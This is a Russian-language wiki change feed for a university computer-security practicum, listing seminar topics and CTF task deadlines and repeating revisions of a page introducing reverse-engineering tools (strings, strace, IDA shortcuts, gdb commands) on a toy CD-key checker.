&lt;br /&gt;
=== Веб ===&lt;br /&gt;
&lt;br /&gt;
Семинар 1 (11 сентября 2023) [[Веб-безопасность/Введение в веб-технологии]]&lt;br /&gt;
&lt;br /&gt;
Семинар 2 (18 сентября 2023) [[Веб-безопасность/Базы_данных_SQL]]&lt;br /&gt;
&lt;br /&gt;
Семинар 3 (25 сентября 2023) [[Веб-безопасность/Уязвимости_SQLi]]&lt;br /&gt;
&lt;br /&gt;
Семинар 4 (2 октября 2023) [[Веб-безопасность/Уязвимости_XSS]]&lt;br /&gt;
&lt;br /&gt;
Семинар 5 (9 октября 2023) [[Веб-безопасность/Уязвимости_FileUpload]]&lt;br /&gt;
&lt;br /&gt;
Семинар 6 (16 октября 2022) [[Веб-безопасность/Атаки_SSRF]]&lt;br /&gt;
&lt;br /&gt;
Семинар 7 (23 октября 2020) [[Веб-безопасность/Уязвимости_XXE]]&lt;br /&gt;
&lt;br /&gt;
=== Реверс-инжиниринг и бинарная эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
Семинар 8 (30 октября 2023) [[Бинарные_уязвимости/Инструменты_поиска_бинарных_уязвимостей]]&lt;br /&gt;
&lt;br /&gt;
Семинар 10 (20 ноября 2022) [[Бинарные_уязвимости/Переполнение_стека]]&lt;br /&gt;
&lt;br /&gt;
Семинар 11 (27 ноября 2022) [[Бинарные_уязвимости/RoP]]&lt;br /&gt;
&lt;br /&gt;
== Примечания ==&lt;br /&gt;
&amp;lt;references/&amp;gt;&lt;/div&gt;</summary>
		<author><name>WGH</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%A4%D0%B0%D0%B9%D0%BB:2023_reverse_tasks.zip&amp;diff=798</id>
		<title>Файл:2023 reverse tasks.zip</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%A4%D0%B0%D0%B9%D0%BB:2023_reverse_tasks.zip&amp;diff=798"/>
		<updated>2023-11-02T16:39:51Z</updated>

		<summary type="html">&lt;p&gt;WGH: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>WGH</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%9F%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D0%BA%D1%83%D0%BC_%D0%BD%D0%B0_%D0%AD%D0%92%D0%9C_(2023)&amp;diff=797</id>
		<title>Практикум на ЭВМ (2023)</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%9F%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D0%BA%D1%83%D0%BC_%D0%BD%D0%B0_%D0%AD%D0%92%D0%9C_(2023)&amp;diff=797"/>
		<updated>2023-11-02T14:47:43Z</updated>

		<summary type="html">&lt;p&gt;WGH: /* Реверс-инжиниринг и бинарная эксплуатация */ правильный номер семинара (надеюсь)&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
&#039;&#039;&#039;Практикум на ЭВМ&#039;&#039;&#039; кафедры ИБ ВМК МГУ ведут сотрудники лаборатории интеллектуальных систем кибербезопасности для групп 319/1 и 319/2.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Когда&#039;&#039;&#039;: по понедельникам, 12:50&lt;br /&gt;
* &#039;&#039;&#039;Где&#039;&#039;&#039;: аудитория 706&lt;br /&gt;
&lt;br /&gt;
Практикум связан с курсом &amp;quot;Безопасность компьютерных систем&amp;quot;, который читается для группы 319/2, и содержит практические задания по темам курса. Каждое занятие практикума имеет формат воркшопа/семинара - т.е. занятие будет практическим, на него надо приходить с ноутбуком, а также установленным софтом. Набор нужного для занятия софта объявляется отдельно перед занятием.&lt;br /&gt;
&lt;br /&gt;
Основные темы, которые будут затронуты в практикуме 2023/2024 учебного года:&lt;br /&gt;
* веб-безопасность&lt;br /&gt;
* реверс-инжиниринг и эксплуатация бинарных программ&lt;br /&gt;
* криптография&lt;br /&gt;
* сетевая безопасность&lt;br /&gt;
&lt;br /&gt;
Оценка за практикум будет определяться по результатам выполнения практических заданий. За каждое из заданий будут даваться баллы, сумма баллов и определит оценку. Задания будут делиться на обязательные и бонусные, баллы за все обязательные задания одной темы будут в сумме давать &#039;&#039;&#039;1000&#039;&#039;&#039;, таким образом, баллы за все обязательные задания одного семестра вместе дадут &#039;&#039;&#039;2000&#039;&#039;&#039;.&lt;br /&gt;
Большая часть заданий будет выполнена в формате ctf-тасков&amp;lt;ref&amp;gt;Про CTF и CTF-команду [[Bushwhackers]]&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
== Задания ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Задания выполнены в формате task-based CTF: в каждом задании есть один или несколько &amp;quot;флагов&amp;quot;, выполняющих роль ценных данных, которые требуется найти и украсть атакующему, для выполнения задания необходимо получить флаг и сдать его в принимающую систему. За каждый сданный флаг начисляются очки. Флаг представляет из себя строку, которая может состоять из цифр и букв английского алфавита, а также нижних подчеркиваний (&amp;quot;_&amp;quot;).&lt;br /&gt;
&lt;br /&gt;
Флаги, входящие в обязательную часть, будут начинаться с префикса main_&lt;br /&gt;
&lt;br /&gt;
Флаги нужно сдавать в [https://dashboard.prak.seclab.cs.msu.ru/ принимающую систему]. В ней нужно заранее зарегистрироваться (ник в формате &#039;&#039;Фамилия Имя&#039;&#039;) и дождаться активации, без этого сдавать флаги не получится Флаги время от времени меняются, если вы получили флаг, но он не сдается, попробуйте вытащить его еще раз и сдать снова - возможно, он поменялся как раз в тот момент. Флаг за одно и то же задание засчитывается для того же сдающего только один раз (даже после изменения).&lt;br /&gt;
&lt;br /&gt;
=== Веб ===&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;s&amp;gt;[[Практикум_на_ЭВМ_(2023)/Бонусное_задание|Бонусное задание]]&amp;lt;/s&amp;gt;&lt;br /&gt;
* &amp;lt;s&amp;gt;http://club.tasks.prak.seclab.cs.msu.ru/&amp;lt;/s&amp;gt; (deadline - 17.10.2023 23:43)&lt;br /&gt;
* &amp;lt;s&amp;gt;http://bank.tasks.prak.seclab.cs.msu.ru/&amp;lt;/s&amp;gt; (deadline - 24.10.2023 23:59)&lt;br /&gt;
* &amp;lt;s&amp;gt;http://corporate.tasks.prak.seclab.cs.msu.ru/&amp;lt;/s&amp;gt; (deadline - 24.10.2023 23:59)&lt;br /&gt;
* &amp;lt;s&amp;gt;http://pwnitter.tasks.prak.seclab.cs.msu.ru/&amp;lt;/s&amp;gt; (deadline - 24.10.2023 23:59)&lt;br /&gt;
* http://hard.tasks.prak.seclab.cs.msu.ru (deadline - 31.10.2023 14:00)&lt;br /&gt;
* http://jpg.tasks.prak.seclab.cs.msu.ru (deadline - 31.10.2023 14:00)&lt;br /&gt;
&lt;br /&gt;
=== Реверс-инжиниринг и бинарная эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
* [[Media:2023 reverse tasks.zip|Задания по реверсу]] (deadline - 16.11.2023 23:59:59.999999 MSK)&lt;br /&gt;
&lt;br /&gt;
== Материалы ==&lt;br /&gt;
&lt;br /&gt;
=== Веб ===&lt;br /&gt;
&lt;br /&gt;
Семинар 1 (11 сентября 2023) [[Веб-безопасность/Введение в веб-технологии]]&lt;br /&gt;
&lt;br /&gt;
Семинар 2 (18 сентября 2023) [[Веб-безопасность/Базы_данных_SQL]]&lt;br /&gt;
&lt;br /&gt;
Семинар 3 (25 сентября 2023) [[Веб-безопасность/Уязвимости_SQLi]]&lt;br /&gt;
&lt;br /&gt;
Семинар 4 (2 октября 2023) [[Веб-безопасность/Уязвимости_XSS]]&lt;br /&gt;
&lt;br /&gt;
Семинар 5 (9 октября 2023) [[Веб-безопасность/Уязвимости_FileUpload]]&lt;br /&gt;
&lt;br /&gt;
Семинар 6 (16 октября 2022) [[Веб-безопасность/Атаки_SSRF]]&lt;br /&gt;
&lt;br /&gt;
=== Реверс-инжиниринг и бинарная эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
Семинар 8 (30 октября 2023) [[Бинарные_уязвимости/Инструменты_поиска_бинарных_уязвимостей]]&lt;br /&gt;
&lt;br /&gt;
== Примечания ==&lt;br /&gt;
&amp;lt;references/&amp;gt;&lt;/div&gt;</summary>
		<author><name>WGH</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%9F%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D0%BA%D1%83%D0%BC_%D0%BD%D0%B0_%D0%AD%D0%92%D0%9C_(2023)&amp;diff=796</id>
		<title>Практикум на ЭВМ (2023)</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%9F%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D0%BA%D1%83%D0%BC_%D0%BD%D0%B0_%D0%AD%D0%92%D0%9C_(2023)&amp;diff=796"/>
		<updated>2023-11-02T14:36:03Z</updated>

		<summary type="html">&lt;p&gt;WGH: /* Задания */ задания по реверсу (собственно архив прикреплю чуть позже)&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
&#039;&#039;&#039;Практикум на ЭВМ&#039;&#039;&#039; кафедры ИБ ВМК МГУ ведут сотрудники лаборатории интеллектуальных систем кибербезопасности для групп 319/1 и 319/2.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Когда&#039;&#039;&#039;: по понедельникам, 12:50&lt;br /&gt;
* &#039;&#039;&#039;Где&#039;&#039;&#039;: аудитория 706&lt;br /&gt;
&lt;br /&gt;
Практикум связан с курсом &amp;quot;Безопасность компьютерных систем&amp;quot;, который читается для группы 319/2, и содержит практические задания по темам курса. Каждое занятие практикума имеет формат воркшопа/семинара - т.е. занятие будет практическим, на него надо приходить с ноутбуком, а также установленным софтом. Набор нужного для занятия софта объявляется отдельно перед занятием.&lt;br /&gt;
&lt;br /&gt;
Основные темы, которые будут затронуты в практикуме 2023/2024 учебного года:&lt;br /&gt;
* веб-безопасность&lt;br /&gt;
* реверс-инжиниринг и эксплуатация бинарных программ&lt;br /&gt;
* криптография&lt;br /&gt;
* сетевая безопасность&lt;br /&gt;
&lt;br /&gt;
Оценка за практикум будет определяться по результатам выполнения практических заданий. За каждое из заданий будут даваться баллы, сумма баллов и определит оценку. Задания будут делиться на обязательные и бонусные, баллы за все обязательные задания одной темы будут в сумме давать &#039;&#039;&#039;1000&#039;&#039;&#039;, таким образом, баллы за все обязательные задания одного семестра вместе дадут &#039;&#039;&#039;2000&#039;&#039;&#039;.&lt;br /&gt;
Большая часть заданий будет выполнена в формате ctf-тасков&amp;lt;ref&amp;gt;Про CTF и CTF-команду [[Bushwhackers]]&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
== Задания ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Задания выполнены в формате task-based CTF: в каждом задании есть один или несколько &amp;quot;флагов&amp;quot;, выполняющих роль ценных данных, которые требуется найти и украсть атакующему, для выполнения задания необходимо получить флаг и сдать его в принимающую систему. За каждый сданный флаг начисляются очки. Флаг представляет из себя строку, которая может состоять из цифр и букв английского алфавита, а также нижних подчеркиваний (&amp;quot;_&amp;quot;).&lt;br /&gt;
&lt;br /&gt;
Флаги, входящие в обязательную часть, будут начинаться с префикса main_&lt;br /&gt;
&lt;br /&gt;
Флаги нужно сдавать в [https://dashboard.prak.seclab.cs.msu.ru/ принимающую систему]. В ней нужно заранее зарегистрироваться (ник в формате &#039;&#039;Фамилия Имя&#039;&#039;) и дождаться активации, без этого сдавать флаги не получится Флаги время от времени меняются, если вы получили флаг, но он не сдается, попробуйте вытащить его еще раз и сдать снова - возможно, он поменялся как раз в тот момент. Флаг за одно и то же задание засчитывается для того же сдающего только один раз (даже после изменения).&lt;br /&gt;
&lt;br /&gt;
=== Веб ===&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;s&amp;gt;[[Практикум_на_ЭВМ_(2023)/Бонусное_задание|Бонусное задание]]&amp;lt;/s&amp;gt;&lt;br /&gt;
* &amp;lt;s&amp;gt;http://club.tasks.prak.seclab.cs.msu.ru/&amp;lt;/s&amp;gt; (deadline - 17.10.2023 23:43)&lt;br /&gt;
* &amp;lt;s&amp;gt;http://bank.tasks.prak.seclab.cs.msu.ru/&amp;lt;/s&amp;gt; (deadline - 24.10.2023 23:59)&lt;br /&gt;
* &amp;lt;s&amp;gt;http://corporate.tasks.prak.seclab.cs.msu.ru/&amp;lt;/s&amp;gt; (deadline - 24.10.2023 23:59)&lt;br /&gt;
* &amp;lt;s&amp;gt;http://pwnitter.tasks.prak.seclab.cs.msu.ru/&amp;lt;/s&amp;gt; (deadline - 24.10.2023 23:59)&lt;br /&gt;
* http://hard.tasks.prak.seclab.cs.msu.ru (deadline - 31.10.2023 14:00)&lt;br /&gt;
* http://jpg.tasks.prak.seclab.cs.msu.ru (deadline - 31.10.2023 14:00)&lt;br /&gt;
&lt;br /&gt;
=== Реверс-инжиниринг и бинарная эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
* [[Media:2023 reverse tasks.zip|Задания по реверсу]] (deadline - 16.11.2023 23:59:59.999999 MSK)&lt;br /&gt;
&lt;br /&gt;
== Материалы ==&lt;br /&gt;
&lt;br /&gt;
=== Веб ===&lt;br /&gt;
&lt;br /&gt;
Семинар 1 (11 сентября 2023) [[Веб-безопасность/Введение в веб-технологии]]&lt;br /&gt;
&lt;br /&gt;
Семинар 2 (18 сентября 2023) [[Веб-безопасность/Базы_данных_SQL]]&lt;br /&gt;
&lt;br /&gt;
Семинар 3 (25 сентября 2023) [[Веб-безопасность/Уязвимости_SQLi]]&lt;br /&gt;
&lt;br /&gt;
Семинар 4 (2 октября 2023) [[Веб-безопасность/Уязвимости_XSS]]&lt;br /&gt;
&lt;br /&gt;
Семинар 5 (9 октября 2023) [[Веб-безопасность/Уязвимости_FileUpload]]&lt;br /&gt;
&lt;br /&gt;
Семинар 6 (16 октября 2022) [[Веб-безопасность/Атаки_SSRF]]&lt;br /&gt;
&lt;br /&gt;
=== Реверс-инжиниринг и бинарная эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
Семинар 7 (30 октября 2023) [[Бинарные_уязвимости/Инструменты_поиска_бинарных_уязвимостей]]&lt;br /&gt;
&lt;br /&gt;
== Примечания ==&lt;br /&gt;
&amp;lt;references/&amp;gt;&lt;/div&gt;</summary>
		<author><name>WGH</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%91%D0%B8%D0%BD%D0%B0%D1%80%D0%BD%D1%8B%D0%B5_%D1%83%D1%8F%D0%B7%D0%B2%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B8/%D0%98%D0%BD%D1%81%D1%82%D1%80%D1%83%D0%BC%D0%B5%D0%BD%D1%82%D1%8B_%D0%BF%D0%BE%D0%B8%D1%81%D0%BA%D0%B0_%D0%B1%D0%B8%D0%BD%D0%B0%D1%80%D0%BD%D1%8B%D1%85_%D1%83%D1%8F%D0%B7%D0%B2%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B5%D0%B9&amp;diff=795</id>
		<title>Бинарные уязвимости/Инструменты поиска бинарных уязвимостей</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%91%D0%B8%D0%BD%D0%B0%D1%80%D0%BD%D1%8B%D0%B5_%D1%83%D1%8F%D0%B7%D0%B2%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B8/%D0%98%D0%BD%D1%81%D1%82%D1%80%D1%83%D0%BC%D0%B5%D0%BD%D1%82%D1%8B_%D0%BF%D0%BE%D0%B8%D1%81%D0%BA%D0%B0_%D0%B1%D0%B8%D0%BD%D0%B0%D1%80%D0%BD%D1%8B%D1%85_%D1%83%D1%8F%D0%B7%D0%B2%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B5%D0%B9&amp;diff=795"/>
		<updated>2023-11-02T01:25:53Z</updated>

		<summary type="html">&lt;p&gt;WGH: /* gdb */ info proc mappings&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== strings ==&lt;br /&gt;
&lt;br /&gt;
Выводит константные строки, которые есть в бинарнике. Строки определяются эвристикой, поэтому часто бывают ложные срабатывания. IDA тоже умеет определять строки.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ strings reverse_example_1&lt;br /&gt;
/lib64/ld-linux-x86-64.so.2&lt;br /&gt;
libcrypto.so.1.0.0&lt;br /&gt;
_ITM_deregisterTMCloneTable&lt;br /&gt;
/lib64/ld-linux-x86-64.so.2&lt;br /&gt;
libcrypto.so.1.0.0&lt;br /&gt;
_ITM_deregisterTMCloneTable&lt;br /&gt;
__gmon_start__&lt;br /&gt;
_Jv_RegisterClasses&lt;br /&gt;
_ITM_registerTMCloneTable&lt;br /&gt;
MD5_Final&lt;br /&gt;
MD5_Init&lt;br /&gt;
MD5_Update&lt;br /&gt;
libc.so.6&lt;br /&gt;
fopen&lt;br /&gt;
__stack_chk_fail&lt;br /&gt;
fgets&lt;br /&gt;
malloc&lt;br /&gt;
stderr&lt;br /&gt;
fwrite&lt;br /&gt;
__sprintf_chk&lt;br /&gt;
__libc_start_main&lt;br /&gt;
free&lt;br /&gt;
GLIBC_2.3.4&lt;br /&gt;
GLIBC_2.4&lt;br /&gt;
GLIBC_2.2.5&lt;br /&gt;
OPENSSL_1.0.0&lt;br /&gt;
D$(1&lt;br /&gt;
T$(dH3&lt;br /&gt;
AUATH&lt;br /&gt;
D$h1&lt;br /&gt;
|$hdH3&amp;lt;%(&lt;br /&gt;
x[]A\A]&lt;br /&gt;
AWAVA&lt;br /&gt;
AUATL&lt;br /&gt;
[]A\A]A^A_&lt;br /&gt;
%02X&lt;br /&gt;
./cd-key.txt&lt;br /&gt;
failed to open CD key file&lt;br /&gt;
failed to read CD key file&lt;br /&gt;
invalid cdkey&lt;br /&gt;
Good job!&lt;br /&gt;
;*3$&amp;quot;&lt;br /&gt;
.shstrtab&lt;br /&gt;
.interp&lt;br /&gt;
.note.ABI-tag&lt;br /&gt;
.gnu.hash&lt;br /&gt;
.dynsym&lt;br /&gt;
.dynstr&lt;br /&gt;
.gnu.version&lt;br /&gt;
.gnu.version_r&lt;br /&gt;
.rela.dyn&lt;br /&gt;
.rela.plt&lt;br /&gt;
.init&lt;br /&gt;
.plt.got&lt;br /&gt;
.text&lt;br /&gt;
.fini&lt;br /&gt;
.rodata&lt;br /&gt;
.eh_frame_hdr&lt;br /&gt;
.eh_frame&lt;br /&gt;
.init_array&lt;br /&gt;
.fini_array&lt;br /&gt;
.jcr&lt;br /&gt;
.dynamic&lt;br /&gt;
.got.plt&lt;br /&gt;
.data&lt;br /&gt;
.bss&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== strace ==&lt;br /&gt;
&lt;br /&gt;
Выводит трассу системных вызовов. Полезно, чтобы определить, какие файлы читает программа, и как вообще взаимодействует с внешним миром (в том числе сеть).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ strace ./reverse_example_1&lt;br /&gt;
...&lt;br /&gt;
openat(AT_FDCWD, &amp;quot;./cd-key.txt&amp;quot;, O_RDONLY) = 3&lt;br /&gt;
fstat(3, {st_mode=S_IFREG|0644, st_size=24, ...}) = 0&lt;br /&gt;
read(3, &amp;quot;AAAAA-BBBBB-CCCCC-DDDDD\n&amp;quot;, 4096) = 24&lt;br /&gt;
write(2, &amp;quot;invalid cdkey\n&amp;quot;, 14)         = 14&lt;br /&gt;
exit_group(1)                           = ?&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== IDA ==&lt;br /&gt;
&lt;br /&gt;
Интерактивный дизассемблер и декомпилятор.&lt;br /&gt;
&lt;br /&gt;
Версия IDA Free вполне подходит для наших задач, её можно [https://hex-rays.com/ida-free/ скачать с официального сайта]. Ссылки на скачивание могут не открываться из РФ, вот на всякий случай зеркала:&lt;br /&gt;
&lt;br /&gt;
* https://course.secsem.ru/idafree83_linux.run&lt;br /&gt;
* https://course.secsem.ru/idafree83_windows.exe&lt;br /&gt;
* https://course.secsem.ru/idafree83_mac.app.zip&lt;br /&gt;
&lt;br /&gt;
=== Шорткаты ===&lt;br /&gt;
&amp;lt;center style=&amp;quot;font-size: 500%&amp;quot;&amp;gt;&lt;br /&gt;
{{клавиша|F5}}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
==== Режим дизассемблера ====&lt;br /&gt;
* {{клавиша|P}} — создать функцию, начиная с текущей позиции курсора&lt;br /&gt;
* {{клавиша|F5}} — декомпилировать функцию&lt;br /&gt;
* {{клавиша|Enter}} — проследовать по курсору (например, перейти к функции или массиву)&lt;br /&gt;
* {{клавиша|Esc}} — назад (противоположность {{клавиша|Enter}})&lt;br /&gt;
* {{клавиша|X}} — показать ссылки на то, что под курсором (на функцию, переменную, строку, etc.)&lt;br /&gt;
* {{клавиша|C}} — переопределить байты, начиная с курсора, как код.&lt;br /&gt;
* {{клавиша|D}} — переопределить байты, начиная с курсора, как данные (последовательные нажатия переключают размер переменной byte-word-dword(-qword))&lt;br /&gt;
* {{клавиша|A}} — переопределить байты, начиная с курсора, как строку&lt;br /&gt;
* {{клавиша|R}} — переопределить число в инструкции как строку (&amp;lt;code&amp;gt;mov rdx, 335F47414C465Fh&amp;lt;/code&amp;gt; -&amp;gt; &amp;lt;code&amp;gt;mov rdx, &#039;3_GALF_&#039;&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
==== Режим декомпилятора (Hex-Rays) ====&lt;br /&gt;
* {{клавиша|N}} — переименовать&lt;br /&gt;
* {{клавиша|Y}} — поменять тип&lt;br /&gt;
** Может показаться, что с помощью {{клавиша|Y}} можно и переименовать, или с помощью {{клавиша|N}} задать тип, однако это не так&lt;br /&gt;
* {{клавиша|Enter}} — проследовать по курсору&lt;br /&gt;
* {{клавиша|Esc}} — назад &lt;br /&gt;
* {{клавиша|Tab}} — перейти к данному месту из декомпилированного в дизассемблированный код и обратно&lt;br /&gt;
&lt;br /&gt;
[https://www.hex-rays.com/products/decompiler/manual/interactive.shtml Полный список] на официальном сайте.&lt;br /&gt;
&lt;br /&gt;
== gdb ==&lt;br /&gt;
&lt;br /&gt;
С &#039;&#039;&#039;gdb&#039;&#039;&#039; можно познакомиться по любому туториалу в интернете.&lt;br /&gt;
&lt;br /&gt;
Однако в отладке приложений без исходников есть некоторая специфика, и тут могут быть особенно полезные такие команды:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;b * 0x400155&amp;lt;/code&amp;gt; - поставить брэйкпоинт на адрес.&lt;br /&gt;
* &amp;lt;code&amp;gt;p (char*)$rdi&amp;lt;/code&amp;gt; - напечатать как строку содержимое памяти, на которую указывает регистр &amp;lt;code&amp;gt;rdi&amp;lt;/code&amp;gt;. См. также [https://en.wikipedia.org/wiki/X86_calling_conventions#System_V_AMD64_ABI статью про соглашения вызовов на Википедии].&lt;br /&gt;
* &amp;lt;code&amp;gt;help x&amp;lt;/code&amp;gt; - почитать справку по команде &amp;lt;code&amp;gt;x&amp;lt;/code&amp;gt;, которая очень полезна для изучения содержимого памяти.&lt;br /&gt;
* &amp;lt;code&amp;gt;x/10i $pc&amp;lt;/code&amp;gt; - посмотреть несколько инструкций вперед.&lt;br /&gt;
* &amp;lt;code&amp;gt;layout asm&amp;lt;/code&amp;gt; - переключиться в псевдографический режим с листингом ассемблерных команд.&lt;br /&gt;
* &amp;lt;code&amp;gt;info proc mappings&amp;lt;/code&amp;gt; - показать карту памяти процесса&lt;br /&gt;
&lt;br /&gt;
== Примеры с занятия ==&lt;br /&gt;
&lt;br /&gt;
Бинарник, который были рассмотрен на семинаре: [[Media:2023 reverse examples.zip]] (плюс сорцы).&lt;/div&gt;</summary>
		<author><name>WGH</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%91%D0%B8%D0%BD%D0%B0%D1%80%D0%BD%D1%8B%D0%B5_%D1%83%D1%8F%D0%B7%D0%B2%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B8/%D0%98%D0%BD%D1%81%D1%82%D1%80%D1%83%D0%BC%D0%B5%D0%BD%D1%82%D1%8B_%D0%BF%D0%BE%D0%B8%D1%81%D0%BA%D0%B0_%D0%B1%D0%B8%D0%BD%D0%B0%D1%80%D0%BD%D1%8B%D1%85_%D1%83%D1%8F%D0%B7%D0%B2%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B5%D0%B9&amp;diff=794</id>
		<title>Бинарные уязвимости/Инструменты поиска бинарных уязвимостей</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%91%D0%B8%D0%BD%D0%B0%D1%80%D0%BD%D1%8B%D0%B5_%D1%83%D1%8F%D0%B7%D0%B2%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B8/%D0%98%D0%BD%D1%81%D1%82%D1%80%D1%83%D0%BC%D0%B5%D0%BD%D1%82%D1%8B_%D0%BF%D0%BE%D0%B8%D1%81%D0%BA%D0%B0_%D0%B1%D0%B8%D0%BD%D0%B0%D1%80%D0%BD%D1%8B%D1%85_%D1%83%D1%8F%D0%B7%D0%B2%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B5%D0%B9&amp;diff=794"/>
		<updated>2023-10-31T19:32:10Z</updated>

		<summary type="html">&lt;p&gt;WGH: /* IDA Pro */ IDA Free&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== strings ==&lt;br /&gt;
&lt;br /&gt;
Выводит константные строки, которые есть в бинарнике. Строки определяются эвристикой, поэтому часто бывают ложные срабатывания. IDA тоже умеет определять строки.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ strings reverse_example_1&lt;br /&gt;
/lib64/ld-linux-x86-64.so.2&lt;br /&gt;
libcrypto.so.1.0.0&lt;br /&gt;
_ITM_deregisterTMCloneTable&lt;br /&gt;
/lib64/ld-linux-x86-64.so.2&lt;br /&gt;
libcrypto.so.1.0.0&lt;br /&gt;
_ITM_deregisterTMCloneTable&lt;br /&gt;
__gmon_start__&lt;br /&gt;
_Jv_RegisterClasses&lt;br /&gt;
_ITM_registerTMCloneTable&lt;br /&gt;
MD5_Final&lt;br /&gt;
MD5_Init&lt;br /&gt;
MD5_Update&lt;br /&gt;
libc.so.6&lt;br /&gt;
fopen&lt;br /&gt;
__stack_chk_fail&lt;br /&gt;
fgets&lt;br /&gt;
malloc&lt;br /&gt;
stderr&lt;br /&gt;
fwrite&lt;br /&gt;
__sprintf_chk&lt;br /&gt;
__libc_start_main&lt;br /&gt;
free&lt;br /&gt;
GLIBC_2.3.4&lt;br /&gt;
GLIBC_2.4&lt;br /&gt;
GLIBC_2.2.5&lt;br /&gt;
OPENSSL_1.0.0&lt;br /&gt;
D$(1&lt;br /&gt;
T$(dH3&lt;br /&gt;
AUATH&lt;br /&gt;
D$h1&lt;br /&gt;
|$hdH3&amp;lt;%(&lt;br /&gt;
x[]A\A]&lt;br /&gt;
AWAVA&lt;br /&gt;
AUATL&lt;br /&gt;
[]A\A]A^A_&lt;br /&gt;
%02X&lt;br /&gt;
./cd-key.txt&lt;br /&gt;
failed to open CD key file&lt;br /&gt;
failed to read CD key file&lt;br /&gt;
invalid cdkey&lt;br /&gt;
Good job!&lt;br /&gt;
;*3$&amp;quot;&lt;br /&gt;
.shstrtab&lt;br /&gt;
.interp&lt;br /&gt;
.note.ABI-tag&lt;br /&gt;
.gnu.hash&lt;br /&gt;
.dynsym&lt;br /&gt;
.dynstr&lt;br /&gt;
.gnu.version&lt;br /&gt;
.gnu.version_r&lt;br /&gt;
.rela.dyn&lt;br /&gt;
.rela.plt&lt;br /&gt;
.init&lt;br /&gt;
.plt.got&lt;br /&gt;
.text&lt;br /&gt;
.fini&lt;br /&gt;
.rodata&lt;br /&gt;
.eh_frame_hdr&lt;br /&gt;
.eh_frame&lt;br /&gt;
.init_array&lt;br /&gt;
.fini_array&lt;br /&gt;
.jcr&lt;br /&gt;
.dynamic&lt;br /&gt;
.got.plt&lt;br /&gt;
.data&lt;br /&gt;
.bss&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== strace ==&lt;br /&gt;
&lt;br /&gt;
Выводит трассу системных вызовов. Полезно, чтобы определить, какие файлы читает программа, и как вообще взаимодействует с внешним миром (в том числе сеть).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ strace ./reverse_example_1&lt;br /&gt;
...&lt;br /&gt;
openat(AT_FDCWD, &amp;quot;./cd-key.txt&amp;quot;, O_RDONLY) = 3&lt;br /&gt;
fstat(3, {st_mode=S_IFREG|0644, st_size=24, ...}) = 0&lt;br /&gt;
read(3, &amp;quot;AAAAA-BBBBB-CCCCC-DDDDD\n&amp;quot;, 4096) = 24&lt;br /&gt;
write(2, &amp;quot;invalid cdkey\n&amp;quot;, 14)         = 14&lt;br /&gt;
exit_group(1)                           = ?&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== IDA ==&lt;br /&gt;
&lt;br /&gt;
Интерактивный дизассемблер и декомпилятор.&lt;br /&gt;
&lt;br /&gt;
Версия IDA Free вполне подходит для наших задач, её можно [https://hex-rays.com/ida-free/ скачать с официального сайта]. Ссылки на скачивание могут не открываться из РФ, вот на всякий случай зеркала:&lt;br /&gt;
&lt;br /&gt;
